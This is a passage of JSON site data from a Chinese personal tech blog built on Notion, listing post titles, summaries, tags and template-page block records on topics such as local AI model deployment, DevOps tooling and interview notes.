dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"163026f4-445a-4595-936d-c0df491c3776":{"value":{"id":"163026f4-445a-4595-936d-c0df491c3776","version":7,"type":"page","content":["8047ce49-8a30-43e3-ae21-1a9913da3140","30cd7c33-dc56-4b4b-962b-2445a6442ec8","7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","3bb7258a-b966-4595-a9c8-f254caf970ec","c302ba58-b227-4a75-9ae7-2697a421adf0","85a4674e-83bc-45a6-85b1-cb3f9525c3ec","bf1909a4-a0de-493c-ac25-506087ec7d28","4bd64c59-8abe-4d30-910a-e3730c858da7","339d9b2f-800f-415d-bd76-cd80db3150fe","6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","b68e787c-2062-418d-9c64-cc9199e0dba4","0b50d24f-c00e-46ee-bd81-073a69126edb","7099f78d-a822-4a4d-b53e-c01dd966f30d"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random/720x480/?encryption","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"2e68569d-c502-4d53-8c89-9606c883d6e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337110,"last_edited_time":1705630790804,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"2e68569d-c502-4d53-8c89-9606c883d6e7","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"8047ce49-8a30-43e3-ae21-1a9913da3140":{"value":{"id":"8047ce49-8a30-43e3-ae21-1a9913da3140","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["267f685c-37ea-403e-9557-8da4bdd04efb"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"3233cb38-a8e0-4f4f-a87e-402b09a26292","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"3233cb38-a8e0-4f4f-a87e-402b09a26292"}},"30cd7c33-dc56-4b4b-962b-2445a6442ec8":{"value":{"id":"30cd7c33-dc56-4b4b-962b-2445a6442ec8","type":"text","format":{"copied_from_pointer":{"id":"7b847234-b0ad-4041-b976-d286f51b8732","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"7b847234-b0ad-4041-b976-d286f51b8732"}},"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c":{"value":{"id":"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082"}},"3bb7258a-b966-4595-a9c8-f254caf970ec":{"value":{"id":"3bb7258a-b966-4595-a9c8-f254caf970ec","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf"}},"c302ba58-b227-4a75-9ae7-2697a421adf0":{"value":{"id":"c302ba58-b227-4a75-9ae7-2697a421adf0","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"8aed2dc6-1284-4273-87d7-e2ea75457ebb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8aed2dc6-1284-4273-87d7-e2ea75457ebb"}},"85a4674e-83bc-45a6-85b1-cb3f9525c3ec":{"value":{"id":"85a4674e-83bc-45a6-85b1-cb3f9525c3ec","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"8430b001-e224-4c1e-995b-a4459d355d59","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8430b001-e224-4c1e-995b-a4459d355d59"}},"bf1909a4-a0de-493c-ac2